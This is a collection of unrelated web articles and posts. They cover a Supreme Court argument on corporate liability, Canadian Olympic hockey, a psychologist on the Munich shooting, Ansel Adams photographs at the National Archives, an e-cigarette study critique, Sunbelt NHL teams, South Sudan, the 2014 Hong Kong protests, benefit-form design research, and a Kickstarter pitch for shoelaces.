unpersuaded by the plaintiffs’ efforts to distinguish between conduct and who can be held liable for that conduct. Allowing corporate liability under the ATS does impose a norm, he told Fisher, because it tells corporations how to run their business. “Norms control behavior,” he repeated, and we would be saying that corporations “now must conform their behavior. That seems to me to be a norm.” With Kennedy having possibly shown his hand, Kagan seemed to turn to triage, hoping to avoid a ruling that establishes a categorical bar on corporate liability, even if it comes at the expense of the plaintiffs in this case. “You have plenty of things to gripe about,” she told Clement: This is a “foreign-cubed” lawsuit – one involving foreign plaintiffs, a foreign defendant and conduct that largely happened overseas. But the question of corporate liability, she continued, is not one of them. Why on earth, she asked Clement, is there any reason to distinguish between an individual and corporation when it comes to who can be held liable? To hammer her point home, she offered a hypothetical involving a corporation that uses citizens of another country for slave labor in the United States. Was Clement really saying that the ATS would not provide a basis for a lawsuit in such a case? Clement acknowledged that Kagan’s hypothetical was a “tough” one, but he countered that the slaves could sue the individuals responsible for their plight in the United States – who, he assured Kagan, would have sufficiently “deep pockets” to satisfy a judgment for the plaintiffs. To the extent that Kagan’s goal was a ruling for the bank – for example, because the mere fact that the bank may have routed foreign transactions in dollars through its U.S. branch does not establish the kind of connection to the United States that the Supreme Court’s earlier cases require – that leaves the door open for lawsuits against other corporations in the future, it may be a tough sell. The United States had advanced a similar argument, but made little headway today with Roberts and Alito. Kagan may have been hoping that the argument would gain more traction with Kennedy, but we likely won’t know until next year whether she succeeded. This post was originally published at Howe on the Court. Recommended Citation: Amy Howe, Argument analysis: Corporate liability for violations of international law on shaky ground, SCOTUSblog (Oct. 11, 2017, 3:01 PM), https://www.scotusblog.com/2017/10/argument-analysis-corporate-liability-violations-international-law-shaky-ground/
Canada's 2018 Olympic hockey team will begin to take shape on Wednesday, when Team Canada takes on Switzerland in their Karjala Cup opener. You can watch Canada's opener LIVE on TSN1 and TSN3 at 2pm et/11am pt. Canada's 25-man roster for the tournament includes 22 players who hold at least one game of NHL experience. Nick Spaling, Ted Purcell, Wojtek Wolski, Mason Raymond, Rene Bourque, Simon Despres and Ben Scrivens are among the more recognizable names. The roster also includes two NCAA players, in Northeastern forward Dylan Sikura and Bemidji State defenceman Zach Whitecloud. The tournament will serve as an Olympic tryout for the players on the roster, with the PyeongChang Games 92 days away. "I'm just looking forward to getting on the ice," forward Gilbert Brule said Tuesday. "Everyone's going to play well together and I know we're going to stick together out there and have a lot of fun and obviously we want to get the win too." Team Canada general manager Sean Burke said last month that players not on the team's roster for this tournament, such as Jarome Iginla, are still under consideration for Olympic spots. “These 26 players are part of the larger group that is still under consideration for the Olympic team,” Burke said in a statement. “Ten of these players were not with us in August in Russia, while others who are under consideration won’t join us next month due either to their being unavailable, or because we feel we already have a good sense of where they could fit with our team.” Canada will play three games at the round-robin tournament, facing Sweden on Friday (11:30am et/8:30am pt. on TSN) and Finland on Sunday (10:30am et/7:30am pt. on TSN). The winner of the tournament, which also includes the Czech Republic and Russia, will be determined by points. “As a management group and coaching staff, our priority is putting the best possible team together,” Burke said. “We will continue to evaluate every Canadian player that’s eligible to represent their country at the 2018 Olympic Winter Games to ensure we give ourselves the best possible chance for success in Korea.” Canada has never won a medal at the round-robin tournament, which dates back to 1992.
DW: Mr. Fiedler, is it possible that someone could use a weapon against others because they are "depressed"? Georg Fiedler: First I would like to clarify that the term "signs of depression" describes how someone appears to others. I would say that the police were very cautious in describing the perpetrator. "Signs of depression" in no way suggests that someone suffers a psychiatric illness. And even if they do, someone who suffers from depression is generally not someone who goes on a shooting rampage. People who are depressed direct their aggression against themselves, if anyone. Therefore one cannot assume that depression was the reason or cause of the attack. How prevalent is depression in Germany? Psychologist Georg Fiedler cautions against coming to hasty conclusions About a third of the people living here show "signs of depression." But depression is a very broad term. It can suggest that someone lives reclusively, broods a lot, blames oneself or thinks their problems are somehow their own fault. There are a lot of things that play into the equation. Yet these character traits in no way mean that the person is sick. "Depression" is a term that is used in a rather inflationary sense here. Real depression is a very serious illness. Depression consists of symptoms such as constant serious brooding, waking up early and sleeplessness over a period of weeks or months. The perpetrator was an 18-year-old German-Iranian. What could push a young person like him to commit such a horrible act? One has to be careful in judging such a case. One thing is clear: There were a number of reasons for the crime. Apparently the perpetrator was undergoing psychiatric treatment. Therefore psychiatric illness could have played a role, but it was certainly not the only factor. Computer games that glorify violence, and are so popular with today's youth, are always pointed to after such atrocities. But the fact that the perpetrator liked to play so-called "ego-shooter" games cannot be the sole reason for this outburst of violence. People that draw that conclusion are oversimplifying. The reasons for such acts are much more complex than that. The term "extended suicide" was used in reference to the perpetrator. What does that term mean? The term refers to the fact that a perpetrator takes the lives of people close to them when they commit suicide. That can refer to a mother that kills herself and her child, or a father that kills himself and his entire family. In both cases the perpetrator exhibits a delusional notion that his or her victims could not possibly survive without them. Thus, one could even speak of altruistic motives in such cases. But that was absolutely not the case in Munich. Does the Munich attack remind you of other cases? Here too: The intentional crash of the Germanwings plane last March was certainly not exclusively related to the pilot's depression. I would think that he also had problematic personality traits. One of those traits would be a "delusional" perception of the world around him. If we think back a few years, the Winnenden shooter was also being treated for depression. But again: There were a whole series of factors that led to the attack, none of which had anything to do with depression. A psychiatric diagnosis of depression would actually speak against such an act. Do you see correlations between the two attacks? I found it rather telling that the Munich shooter seemed to pick out and shoot young people. In that sense the victims that were targeted were very similar to those targeted in Winnenden. It also brings to mind the Norway massacre that took place five years ago, in which a gunman killed 77 people, the great majority of whom were very young. This interview was conducted by Daniel Heinrich. Georg Friedrich is a psychologist and suicide researcher who lives and works in Hamburg, Germany.
Ansel Adams Photographs En Español Records of the National Park Service View of Valley from Mountain, "Canyon de Chelly" National Monument, Arizona View in National Archives Catalog In 1941 the National Park Service commissioned noted photographer Ansel Adams to create a photo mural for the Department of the Interior Building in Washington, DC. The theme was to be nature as exemplified and protected in the U.S. National Parks. The project was halted because of World War II and never resumed. The holdings of the National Archives Still Picture Branch include 226 photographs taken for this project, most of them signed and captioned by Adams. They were taken at the Grand Canyon, Grand Teton, Kings Canyon, Mesa Verde, Rocky Mountain, Yellowstone, Yosemite, Carlsbad Caverns, Glacier, and Zion National Parks; Death Valley, Saguaro, and Canyon de Chelly National Monuments. Other pictures were taken at the Boulder Dam; Acoma Pueblo, NM; San Idelfonso, NM; Taos Pueblo, NM; Tuba City, AZ; Walpi, AZ; and Owens Valley, CA. Many of the latter locations show Navajo and Pueblo Indians, their homes and activities. The Kings Canyon photographs were taken in 1936 when the establishment of the park was being proposed. These prints were added by Adams to the mural project. The one photograph of Yosemite was a gift from Adams to the head of the Park Service, Horace Albright, in 1933. In addition, there are eight photographs taken by Adams of Yosemite in the General Photographic Files of the National Park Service. These photos may still be under copyright protection. To Order: If you wish to order any of these photographs, please see the Ordering Still Picture Reproductions page. For questions or additional information about the holdings of the Still Picture LICON, call: 301-837-0561, fax: 301-837-3621, or e-mail: [email protected]. Note: Quotation marks indicate information which was copied from the reverse of the mount cards. ACOMA PUEBLO, NEW MEXICO BOULDER DAM, COLORADO RIVER CANYON DE CHELLY, ARIZONA National Archives Identifier Variant Control Number Title 519851 79-AAC-1 " Canyon de Chelly," vertical panorama from river valley. 519852 79-AAC-2 " Canyon de Chelly," panorama of valley from mountain. DEATH VALLEY NATIONAL MONUMENT, CALIFORNIA GLACIER NATIONAL PARK, MONTANA GRAND CANYON NATIONAL PARK, ARIZONA GRAND TETON NATIONAL PARK, WYOMING KINGS RIVER CANYON, CALIFORNIA All prints are labelled: "Kings River Canyon (Proposed as a national park). Photos donated by Ansel Adams, February 1936." MESA VERDE NATIONAL PARK, COLORADO NAVAJO INDIANS, CANYON DE CHELLY, ARIZONA OWENS VALLEY, CALIFORNIA ROCKY MOUNTAIN NATIONAL PARK, COLORADO SAGUARO NATIONAL MONUMENT, ARIZONA SAN ILDEFONSO PUEBLO, NEW MEXICO TAOS PUEBLO, NEW MEXICO TUBA CITY, ARIZONA WALPI, ARIZONA National Archives Identifier Variant Control Number Title 519989 79-AAS-1 " Walpi, Arizona, 1941," full view of the city on top of mountain. 519990 79-AAS-2 " Walpi, Arizona, 1941," nearly identical, closer in. YELLOWSTONE NATIONAL PARK, WYOMING YOSEMITE, CALIFORNIA National Archives Identifier Variant Control Number Title 520018 79-AAU-1 " Half Dome, Apple Orchard, Yosemite," trees with snow on branches, April 1933. ZION NATIONAL PARK, UTAH CARLSBAD CAVERNS NATIONAL PARK, NEW MEXICO All prints are labelled: "Carlsbad Caverns National Park." Records of the National Park Service General Photographic File (These photos may still be under copyright protection.) Ansel Adams Photographs
Chicago’s Department of Public Health (CDPH) promoted a National Institutes of Health-funded (NIH) study Wednesday that shows teens using e-cigarettes are more likely to start smoking tobacco. The study, published in 2015, examined 9th grade students in Los Angeles and found those who had tried e-cigarettes were 2.7 times more likely to initiate smoking than their peers. On the surface, these findings appear to back-up the CDPH’s hyperbolic tweet. But the study itself is full of drawbacks that make the CDPH’s claim look like an overreaction at best and a willful misrepresentation at worst. (RELATED: Fact Check: Rahm Emanuel’s Spin Fueled Campaign Against E-Cigarettes) NIH study shows “Teens Using E-cigarettes More Likely to Start Smoking Tobacco” https://t.co/x4BR5BHofO #VapingTruth — ChiPublicHealth (@ChiPublicHealth) January 6, 2016 Dr. Michael Siegel, a Professor in the Department of Community Health Sciences, Boston University School of Public Health, points out in his blog post from August 2015, “the study did not measure ‘e-cigarette use.’ It merely asked kids whether they had ‘ever’ tried an e-cigarette. Kids who had ever tried an e-cigarette, even a puff, were compared with all kids who had never even puffed on an e-cigarette.” This represents a problem when attributing the causality of smoking to e-cigarettes. “Kids who would not even try an e-cigarette, despite their popularity, represent a different population than kids who would try a puff on an e-cig,” says Siegel. The fact that the children who wouldn’t experiment with even a puff of an e-cigarette are less likely to try regular tobacco should come as no surprise. The former Director of Action on Smoking and Health Clive Bates, agrees with Siegel: Adolescents who use e-cigarettes may be more likely to begin smoking, but not necessarily because they used e-cigarettes. The most likely explanation is that whatever it is that inclines young people to smoke (actually to experiment), also inclines them to use e-cigarettes. The study also failed to record whether any of the subjects were regular vapers and had a nicotine addiction before they experimented with cigarettes. The only fact the study could muster is that some of the subjects had tried an e-cigarette at some point. Nowhere does the study claim regular users of e-cigarettes transitioned to smoking tobacco. This fact directly clashes with CDPH’s claim that “teens using e-cigarettes more likely to start smoking tobacco.” Another big problem for those who want to make the link between e-cigarette use and smoking, is that the study defined smoking as any cigarette use, no matter how small. So among the subjects who tried cigarettes, we have no idea whether any of them are actually regular or even semi-regular smokers, if they are smoking at all. The editorial accompanying the study readily acknowledges this fact: Because the only outcome measure was any use of a tobacco product during the past six months, the analysis could not distinguish students who had just tried a few cigarettes from those who progressed to regular smoking during follow-up. The latter is the greater concern, and the current study cannot determine whether e-cigarette exposure was associated with that outcome. The study’s own authors even went so far as to say, “we cannot conclude that e-cigarette use directly leads to smoking.” Follow Guy on Twitter Send tips to [email protected]. Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected].
(Ed. note: Part Two can be found here) With this series I look to explore the state and perception of the so-called "sunbelt" National Hockey League clubs. It is a two-part post that will first look through a brief history and observation of the Sunbelt teams. The heart of this series is the second part in which I try to understand the peculiar attitude of northern American but most particularly Canadian fans that see these southern NHL teams as a threat to them and to the sport, an attitude that is not seen in the other three major American pro sports leagues or soccer. It is an attitude which I believe is hurting the sport and its image and may make it more likely to be seen only as a "white man’s sport". Many will disagree with me but I feel it is a mix of Canadian elitism, nationalism and racism that fuels this hatred which is perpetuated by the hockey media and many fans of the sport among our neighbors to the north. Hockey is a sport born in the frigid climates of North America. Florida did not get to know the sport at its highest level, the NHL, until the Tampa Bay Lightning were created in 1992 with the Panthers following in 1993. Their creation was part of an NHL campaign to grow the sport in the southern portions of the United States, these teams being labeled collectively as the "Sunbelt" teams. The Los Angeles Kings were the first of these teams born in 1967 with the Atlanta Flames created not long after in 1972. The Flames did not last in Atlanta however relocating to Calgary by 1980 yet the Kings were able to prosper well enough in the second largest market in the United States. A trade in 1988 that shook the NHL to its core between the Kings and Edmonton Oilers would go on to be the catalyst of the NHL’s rapid growth in the southern US. Wayne Gretzky, arguably the league’s greatest player of all time but definitely the best at the time of the trade, was dealt to LA. Suddenly the Kings became a hot ticket in a media giant town and the team’s vast improvement after acquiring Gretzky helped southern California grow into a formidable hockey town. The impact and success of the Kings along with former NBA executive Gary Bettman hired by the NHL owners to become the first NHL commissioner was enough for the league to take a chance at growing the sport and expanding to Florida, California, Tennessee and even a return to Atlanta. This push to grow the sport did have severe impacts on some well-established northern regions that were struggling financially and would be one of the reasons for many in the northern United States and Canada to hate the thought of southern teams existing. Four teams would move south in the decade following Gretzky’s trade. These relocated franchises had various reasons for moving south including low ticket sales, player salaries rising to unsustainable levels, inability to obtain a new arena and weak local economies. Had it not been for NHL support it was possible Canada would have been left with only three clubs by 2000. What I consider the Sunbelt clubs may differ from yours but this is my list: Florida, Tampa Bay Lightning, Nashville Predators, Phoenix Coyotes (soon to be Arizona), Dallas Stars, Anaheim Ducks, Carolina Hurricanes and Los Angeles Kings. San Jose is a team created in the NHL’s southern push but the Sharks are not exactly southern in region, culture or weather during hockey season. They are however an expansion club nonetheless. Prototypical expansion teams in any sport struggle in their first few years of play. This is a result of having a team mainly comprised of players teams are willing to cast aside because they are not particularly great and having young, inexperienced players. Losing is common early on and it can be tough to market and get people on board with the sport. This is a dilemma made more difficult in the NHL since they were introducing a sport that had little footing in these new regions. Rinks were few and far between and competition from other established sports franchises tended to overshadow other teams. The Florida Panthers in a sense may have been the luckiest of these teams early on. Despite setting NHL records for an expansion team, the Panthers faced possible relocation to Nashville early on due to their lease at the Miami Arena making it difficult to turn a profit. The Cinderella-run for the Stanley Cup in 1996 however changed that and the Panthers suddenly became a hot enough commodity that Broward County offered to build an arena which they currently call home. The Panthers sold out the Miami Arena two full seasons in a row and would enter their new home with an average attendance of over 18,000 in the first year. Now this does not seem like a feat to fans of northern franchises but given the circumstances that a southern expansion hockey team was facing it is a notable accomplishment. For relocated teams like Dallas and Carolina, the journey was difficult yet made easier due to having established farm systems and team infrastructure. The Dallas Stars were the first Sunbelt team to win the Stanley Cup in 1999, six years after leaving Minnesota. Tampa Bay, Anaheim and Carolina would later on reach hockey’s mountaintop. These teams successes fueled growth in hockey and helped stabilize their franchises enough that they still survive and are now a generation of fans deep. Kids growing up in the early 1990s now have children of their own who are being born hockey fans. Ice rinks and youth and adult hockey programs in these southern regions are now thriving. South Florida alone has seven ice rinks, fifteen high school teams since 1998, and three college club teams since 2010. The knock against Sunbelt franchises is generally about their attendance figures. Once more, the struggles of expansion teams and introducing a new sport to a region can make it difficult for fans to jump on board. Losing is possibly the worst thing that can happen to any franchise as sports gives people and entire regions a sense of accomplishment and pride when their teams win. For expansion franchises such as the Nashville Predators and Atlanta Thrashers who did not have a Stanley Cup run in their first decade at least it was rough sailing. For the Phoenix Coyotes, a relocated franchise, personnel decisions led to their inability to succeed on the ice. These teams had little to no playoff success and were constantly listed as teams on the first plane out to colder climates. Nashville for years had solid teams that made the playoffs but never could make a run or get their fans on board. Yet in the last few years the Predators began to change the way they market to their region and finally were able to strike a local chord in the Music City. In Phoenix the constant threat of relocation and unstable ownership or lack thereof left Arizona’s residents to not get too invested in what may be a fleeting relationship. In Atlanta a combination of terrible ownership and terrible play led to the relocation of the Thrashers to Winnipeg to become the new Jets, the first and only casualty of the Sunbelt teams. Attendance when Sunbelt teams are winning are high and when they are losing are low. It is no different than the "traditional" hockey franchises save for the Canadian clubs. Exploring that angle it would seem the relocation scare in the 1990s is partly a reason why Edmonton, Calgary, Ottawa and Winnipeg sell out even when some of those teams experience several years of mismanagement and wallowing in the league’s basement. Winnipeg’s relocation was approved with the stipulation that the Jets had to constantly sell out the NHL’s smallest arena in the second-smallest market in North American pro sports. That is some very thin ice to skate on as a franchise. Current powerhouse and Original Six team the Chicago Blackhawks not too long ago was considered an NHL graveyard with attendance that was far below Sunbelt teams thanks to a combination of losing and mismanagement. The Pittsburgh Penguins were very close to relocating had it not been for the efforts of Mario Lemiuex and, for you conspiracy theorists, the fixing of the NHL Draft Lottery to help the Penguins land Sidney Crosby. From the gathering of information in southern hockey markets it seems that the success of these teams is the same for any other franchise in any sport. It is a combination of several factors. One is ownership. Stable ownerships have been the reason that most of the Sunbelt teams have made it this far. Arena deals that these ownership groups have that puts them in charge of operating these arenas allow them to ultimately make a profit thanks to non-hockey events. Marketing to fans in a meaningful and good way is vital especially with a sport like hockey which prides itself in having the perception of having personnel and players that are more accessible and humble as compared to those in other sports. Success on the ice is needed to keep that fervor for hockey on the minds of locals. The Panthers saw in 2012 that a successful team does wonders for the bottom line, marketing and attendance. Genuine owners who realize that success on the ice translates to success in drawing fans and then leads to financial success are the best chance for Sunbelt teams to thrive. A rash of recent sales of Sunbelt hockey clubs to big-pocketed owners has led to a revival of success on the ice and off for the Tampa Bay Lightning and Dallas Stars and has given fans in Florida and Phoenix hope for the future of their clubs. That is the brief observation and quick historical look at the southern NHL teams and their impact on hockey in the Sunbelt. Part 2 will explore the irrational and perplexing beliefs of northern American but mainly Canadian NHL fans that wish none of these NHL teams had moved south of the Mason-Dixon Line.
KAMPALA (Reuters) - South Sudanese troops raided the home of the exiled former army commander, relatives said on Friday, after his rival was named to command troops in his home region to counter any threats he might pose to the government. South Sudan's ousted army chief Paul Malong addresses the media after returning to the South Sudan's capital of Juba, May 13, 2017. REUTERS/Stringer Soldiers and National Security agents entered the compound belonging to Paul Malong and assaulted a neighbor while searching for weapons, said a relative who witnessed the alleged incident in the town of Malualkhon in the Aweil region. A second Malong family member confirmed the raid. Army spokesman Lul Ruai Koang said he had “no official information” that security forces raided Malong’s house. Oil-rich South Sudan has been at war since 2013, when forces loyal to ex-vice president Riek Machar, an ethnic Nuer, began fighting with troops loyal to President Salva Kiir, a Dinka. The conflict has split the nation into a patchwork of ethnic fiefs. Malong had buttressed his power by recruiting men from Aweil to fight in ethnic militias while also commanding the military, according to U.N. experts. But Kiir fired Malong, also a Dinka, in May after a power struggle and put him under house arrest in the capital Juba amid fears he might start a revolt from Aweil. Malong loyalists started joining rebels and in November, Kiir released Malong to exile in Kenya. Thursday’s alleged raid unfolded after the appointment of Malong’s longtime rival, General Dau Auterjong, to the top military post in Aweil. He had rebelled against Malong’s army from 2014 until last year, when he rejoined the government. Auterjong’s appointment “turns the screws” on Malong by undercutting his military strength in Aweil, according to South Sudan researcher Alan Boswell. “Malong was ready for a fight when he was fired. Now his ability to challenge Kiir is much weaker,” Boswell said. In September, the United States sanctioned Malong for his role in the civil war, which has killed tens of thousands of people, displaced a third of the population, and pushed parts of South Sudan into famine.
HONG KONG — The group that wins this battle is the one of stronger mind. The government is fighting for control with manipulation; the people are fighting for democracy with peace. See also: The Art From Hong Kong Protest Tells a Beautiful Story of the Democracy Fight Using non-violent resistance, popularized by Indian leader Ghandi to secure independence from Britain in 1947, the students and protest groups of Hong Kong have attempted to use love and solidarity to overcome what they consider the control of the Beijing government and secure a democratic election of their leader in 2017. Chanting, prayer, sit-ins, art, education and information warfare are all common tactics used by activists at the protest sites of Admiralty, Mong Kok and Causeway Bay. The government, on the other hand, has used tactics as mild as letting the protesters wear themselves out and as strong as reportedly paying thugs to instigate violence on the streets. One of the many works of art in Admiralty. The method of non-violence, initiated by the three main groups that front the movement — the Federation of Students, Scholarism and Occupy Central — is a smarter tactic than it first appears. The protesters are well aware that one step out of line will give the authorities reason to use force. The wariness of police involvement can be seen on the streets, with people being urged to only cross barriers at marked intersections, the creation of first aid tents to assist anyone in need, the formation of human chains to control the masses and the common chant of "keep calm" when the crowd swells. At first, the government used heavy-handed force in the form of tear gas on students, before switching tactics to implement what appeared to be mind games. Protesters say these included emptying the streets of police, silence from the Beijing-appointed leader of Hong Kong, Leung Chun-ying, for almost a week, and using media propaganda in an attempt to spread a different story to the people of China, Hong Kong and the world. The use of tear gas backfired for the Beijing-backed government, as it brought more people on to the street. Hong Kongers are often reserved about their political stance, yet are not prepared to sit back and watch something happen when they deem it morally wrong. The government seemed to understand this, as it pulled back completely the next day. From Monday, there was almost no police presence in sight. The scenes that the world watched unfold on Sunday. Image: AP Images/Associated Press 'It feels like they are setting up a trap' Ashley, a 22-year-old university student who was born and raised in Hong Kong has been heavily involved in the online element of the movement as an administrator for the Facebook page Hong Kong Democracy Now. She believes tactics such as this are to gain control of the people. “One of the tactics that the government is using is dragging the whole thing on. The day after the tear gas most of the police were taken away. They wanna fuck your mind up,” she told Mashable. “The more calm and silent it is on the government side, the more dangerous it is. It feels like they are setting up a trap, but you don’t know what it is.” A man reacts after being hit with tear gas. Image: AP Images The problem in Hong Kong at the moment is that it is very difficult to separate the truth from the fiction, especially when it comes to the authorities. This uncertainty makes the protesters anxious, which in turn makes them vulnerable and is no doubt another government ploy. Trust got thrown out the window on Thursday afternoon, when police lied to protesters to gain entry for extra police forces and used an ambulance to smuggle in extra weapon supplies to government offices. Propaganda and rumors are prevalent across social media, such as stories about deaths in the traffic caused by the protests and high-alert warnings telling people to leave public areas. On Thursday night, Leung addressed the media – just 20 minutes before the deadline set by protest leaders for his resignation and after a long, drawn-out week of silence – and announced he would not be standing down, but the government was prepared to talk with the student groups. He gave very little information; the cards were kept close to his chest. Following this, splinter groups emerged. Different battles were being fought in areas across Hong Kong. Image: AP Images/Associated Press It seemed the government’s “wear them out” tactic was starting to work and a single incident could cause a heightened response from the crowd. A small minority of protesters began to get frustrated with the inaction of the protesters after Leung’s speech and attempted to block the main thoroughfare route from east to west by sitting on Lung Wo road, near Leung’s office. To prevent this happening, the crowd formed a human chain to allow traffic to continue to pass through one lane, as a representative tried to coerce the protesters off the road. The protesters loudly chanted for everyone to remain calm as things began to get heated due to one of the road blockers becoming aggressive. The media scrum became intense as the crowd begged for everyone to clear a path for the breakaway protesters to be removed. LIVE: Chaos as protesters battle to stop group blocking traffic on crucial cross-harbour link http://t.co/hvNxFVCdbg pic.twitter.com/CxJbajcmUF — SCMP News (@SCMP_News) October 2, 2014 A witness, Yan, told Mashable he believed the road-blocking protesters were “paid by someone” to incite a reaction from the crowd. He would not detail if this “someone” was the government. It is a story you hear regularly, which indicates the level of distrust for the government from students. “We don’t want violence,” he said. “We don’t want to occupy the road. It is too much.” A student wears protective gear as she protests. A climate of fear This cautious mentality has emerged within Hong Kongers as the days drag on. Earlier in the week, demonstrators would speak freely to journalists. On Thursday night, as Leung’s speech was announced, many fled the overcrowded areas due to obvious fear. They thought it had gone too far. Upon being advised I was a journalist, one young student changed his story from “getting away from the growing aggression” to “just going to meet friends for dinner.” The fear of talking publicly could arise from concerns over being allowed to travel to mainland China, George Chen, a 2014 Yale World Fellow and the author of the book This is Hong Kong I Know, said. “The economic ties between Hong Kong and Mainland China are very close nowadays and what you say about the Hong Kong protests - especially when you say something that the government doesn’t like to hear - may get you in trouble at some point,” he told Mashable. “You don't know what you have done wrong. That kind of fear of uncertainties may cause Hong Kongers nowadays to speak less freely on political matters.” Many employees of banks and multinational corporations have also been warned by their employers to not speak to the media and if they get arrested, their employment will be terminated. “Our company line is do what you want in your personal time, but definitely no speaking to the media,” a worker who obviously refused to be identified told Mashable. “Even though there's no rule against it, I still wouldn't feel comfortable if I had my picture taken while I was at the protests. And of course if you get arrested, that can lead to termination.” This underlying fear is something the government appears to also be using to disperse the crowd. That seemed to happen on Thursday as canisters clearly marked with danger symbols and logos indicating tear gas, rubber bullets and other weapons were moved around in full public view. Co-founder of Occupy Central Benny Tai Yiu-ting, a professor at the university of Hong Kong, told the media “the way it was done arouses reasonable suspicions over whether it was a public relations show, carried out to further inflame tensions between frontline police, civil servants and the public - in order to smear the movement.” As the week dragged on and the Beijing-government became more frustrated, officials stepped up the game. Thugs and triads On Friday, it is believed the government devised a more extreme tactic: pay underworld figures to launch syncronised anti-protest attacks on the student camps. Democrat and deputy chairman of the Legislative Council's security panel James To, told the South China Morning Post: "The government has used organized, orchestrated forces and even triad gangs in an attempt to disperse citizens." The government has denied this accusation. A police officer tries to hold back pro-democracy student protesters during a clash local residents in Mong Kok. Image: AP Images/Associated Press At 3 p.m. and 6 p.m. on Friday respectively, Causeway Bay and Mong Kok came under threat by groups of thugs wearing blue shirts and facemasks and talking in Cantonese accents. The triad-linked group pulled apart tents and threw supplies on the ground. The students were verbally abused, spat on, kicked and punched. Reports emerged of sexual assault, such as groping, of women in the crowd. It was the first incident of violence among the crowd, and most democracy supporters believe it wasn’t just tensions rising. Many saw it as a coordinated effort to incite violence between locals, who have become frustrated with the lack of order, and the student protesters, who have held the main sections of the city hostage for a week. “This has gone on too long. We can’t catch the bus. We can’t go to work. They have ruined our home,” one agitated local on the streets of Mong Kok, who refused to be named, told Mashable. The tactic seemed to be working. Suddenly international and local media sites were showing images of anarchy. Even though the violence was in small, isolated pockets, it appeared to the general masses that the protests had turned ugly. There was blood, faces of anger and tears. Ming Pao Frontpage on Oct. 4: "Anti-#OccupyCentral Protester Beat People Up." - with a powerful picture pic.twitter.com/6jkKalQdUJ — Fion Li (@fion_li) October 4, 2014 Student protesters accused police of turning a blind eye, and even detaining the instigators before releasing them in a taxi so they were able return to the site later. It all seemed part of a greater plan. The protests have become an interesting battle of mind power. Under British rule until 1997, many people here have become accustomed to an open flow of information and don't hesitate to question their government On the mainland, by contrast, the Beijing government controls the media and is often accused of manipulating the Chinese people into submission, whatever it takes. For instance, coverage of the protests especially on social media has been all but banned on the mainland. MORE CENSORSHIP: Some Hong Kong users of Sina Weibo report they appear to meet strange problem to upload photos; slow speed, eventually fail — George Chen (@george_chen) October 5, 2014 Disruption takes a toll Yet, the general public of Hong Kong can also only handle extreme disruption of the streets for so long, and the government is aware of this need-for-order mentality and appears to be using it to their advantage. “There are a lot of citizens that have been complaining that the students are disrupting the city,” Yue said. “There are a lot of people that are not on the protesters side because of the disruption and the government is trying to make the divide between those people larger.” The crowd listens to speeches by pro-democracy leaders. Image: AP Images/Associated Press The majority of protesters also do not associate themselves with any activism group and this lack of association could prove detrimental for the longevity of the protest, as it becomes easier for people to lose direction and for disagreements to break out. Author George Chen told Mashable the affects of disruption will also start to filter through the cracks, after a week of major disruptions to bus routes, main roads and government workers. “The longer the protests continue, the more tired people will naturally feel, and the more impatient the people whose business and daily life are affected will also become,” he said. “The government may try to win more support from those people who feel their lives are disturbed and then put pressure on the Occupy Central movement to force them to keep roads open.” A sleeping protester. Image: AP Images/Associated Press Chen believes the battle will be long and has no hope of ending completely tomorrow, especially without strong communication from both sides. “For now, dialogue will be the best means for both sides — the protesters and government. Both the two parties should move from a position-based bargaining to a more flexible and pragmatic process of interest-based negotiation. The negotiation won’t be easy and the government may try to just get the protesters exhausted before they can reach an agreement.” In a final show of non-violent power to the Beijing government, tens of thousands of protesters of all ages joined forces on Saturday night in Admiralty. In chilling scenes, they used the power of peaceful protest to send a clear sign to the mainland. Protesters hold up their phones and sing. Image: Getty Images Lifting their phones to the sky and singing a pro-democracy song, they stated loud and clear: we have not been beaten by violence. The world cheered them on. “On an emotional level, the protestors have won global support and care for what they are fighting for –- the 2017 universal suffrage for Hong Kong. Such support from all over the world may have been beyond Beijing’s expectation,” Chen said. On Sunday night, with Leung demanding work and school resume the next day and stating the government will use any method necessary to enforce this, everyone is aware the rules of the game might change again. It is anyone’s guess how this week comes to an end, but let's hope for Hong Kong's sake it is peacefully.
As the Content Designer and User Researcher working on the Personal Independence Payment (PIP) service - a benefit for people affected by a disability or long-term condition - we discovered early on that users want to tell their own story. Answering 'yes or no' questions wasn’t enough - they felt pigeonholed into a fixed idea of a certain condition. We designed early prototypes based on this insight - it was a simple place to start. We asked people to use a free-text box to tell us in their own words how and why their condition affected them. The 12 activities they were asked to think about included washing themselves, getting dressed and mixing with people. What we learned It didn’t work. The blank space was intimidating and frustrating. People thought we were trying to catch them out and were reluctant to write much in case they wrote the wrong thing. When they did write, their response didn't give enough detail for government to make a decision. Although people told us they wanted to 'tell their story', when we gave them an open opportunity to do so, they couldn’t. We learned that what users want isn't always what they need. We needed to do more to guide them through their story. What we tried We included help text - an additional sentence or two under the question to prompt users to think about the activity in detail. But this created problems of its own. Eye-tracking software confirmed that people scanned the page to find an ‘action’, or whatever they had to do to get through the form as quickly as possible. They bypassed any content that got in their way, including the help text. So, working with case managers who make decisions about applications for PIP, we’ve made the help text more comprehensive and meaningful. We’ve broken each activity down into steps and added them to the page as tick boxes. Then we offer people the chance to give more detail about the things that they’ve ticked. Research shows this is working We’ve seen that people can use it, understand it and give more thorough answers as a result. The check boxes give clarification about how government defines each activity. The design prompts people to think about the different parts of an activity in detail. It encourages them to think about any difficulties they deal with at each stage before they write their story in their own words. The structure of the page and the breakdown of the questions make the free text boxes less intimidating and guide people into giving more thoughtful answers. What’s next We’re going to use this design to take a small amount of real claims for PIP. We know it’s not perfect, and we’re continuing to research variations of the design with real users to make it simpler, clearer and faster for them to use.
Update: We will ship outside of the US. Just add $10 to your pledge. During the spring of 2012, I went looking for shoelaces and was surprised that I couldn’t find any. Not the quality I wanted, not the size I wanted, and not the color I wanted. So I decided that I was going to make a better shoelace. And that is how Red Hand started. That’s right, with shoelaces. That idea to revolutionize shoelaces gave rise to the philosophy that drives Red Hand: bring the best materials, thoughtful design, and performance to products that have been widely neglected by the big brands. Make them attractive and stylish. Use American manufacturers. Sell them direct online. We also decided that instead of just making shoelaces that we were going to take on all men’s basic apparel and accessories. We knew that if we brought thoughtfulness, style, and performance together that we could put out a collection of products better than nearly anything else on the market. We found the best American manufacturers that would work with us to produce each of our products. So, that’s Red Hand – American made, high-quality basics and accessories that work, fit, and look great. Period. The result of the last ten months is a line of shoelaces, socks, undershirts, t-shirts and belts that makes up our first collection. We have worked with fashion designers, product engineers, and suppliers to prototype these products, now we just need to finish the cycle and do our first full production run. That is where Kickstarter comes in. Why are we on Kickstarter? It’s simple: we need more financing to produce our 2013 Collection of 